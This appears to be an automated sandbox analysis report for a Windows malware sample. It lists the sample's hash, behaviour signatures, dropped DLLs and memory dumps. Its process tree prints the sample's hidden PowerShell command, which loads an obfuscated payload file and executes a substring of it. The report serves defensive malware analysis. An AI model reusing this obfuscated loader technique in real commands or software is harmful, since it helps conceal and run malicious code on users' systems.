Analysis
- max time kernel
51s - max time network
51s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
24/06/2024, 13:45
General
- Target tmp8t7z73tn.exe
- Size 467KB
- Sample240624-q2c39avejd
- SHA256 ad2b8c6d46879d5c83c2a89020cf39f29f7344532b26e1ea8c91cbeb7fb3440c
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 3 IoCs
- Drops file in System32 directory 1 IoCs
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmp8t7z73tn.exe"C:\Users\Admin\AppData\Local\Temp\tmp8t7z73tn.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Obstacle=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Sideopdelingens\Vegatabilsk.syn';$Sfaeriske=$Obstacle.SubString(46988,3);.$Sfaeriske($Obstacle)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 24963⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2888 -ip 28881⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_riwwrjfi.ceg.ps1
Banner.dll
BgImage.dll
nsDialogs.dll
Vegatabilsk.syn
memory/2888-32-0x0000000006240000-0x00000000062A6000-memory.dmp
memory/2888-45-0x0000000006980000-0x00000000069CC000-memory.dmp
memory/2888-30-0x0000000005970000-0x0000000005992000-memory.dmp
memory/2888-31-0x0000000073D90000-0x0000000074540000-memory.dmp
memory/2888-33-0x00000000062B0000-0x0000000006316000-memory.dmp
memory/2888-28-0x0000000005B10000-0x0000000006138000-memory.dmp
memory/2888-27-0x00000000033B0000-0x00000000033E6000-memory.dmp
memory/2888-43-0x0000000006420000-0x0000000006774000-memory.dmp
memory/2888-44-0x0000000006930000-0x000000000694E000-memory.dmp
memory/2888-29-0x0000000073D90000-0x0000000074540000-memory.dmp
memory/2888-46-0x0000000006EC0000-0x0000000006F56000-memory.dmp
memory/2888-47-0x0000000006E60000-0x0000000006E7A000-memory.dmp
memory/2888-48-0x0000000007910000-0x0000000007932000-memory.dmp
memory/2888-49-0x0000000007EF0000-0x0000000008494000-memory.dmp
memory/2888-26-0x0000000073D9E000-0x0000000073D9F000-memory.dmp
memory/2888-51-0x0000000008B20000-0x000000000919A000-memory.dmp
memory/2888-53-0x0000000073D90000-0x0000000074540000-memory.dmp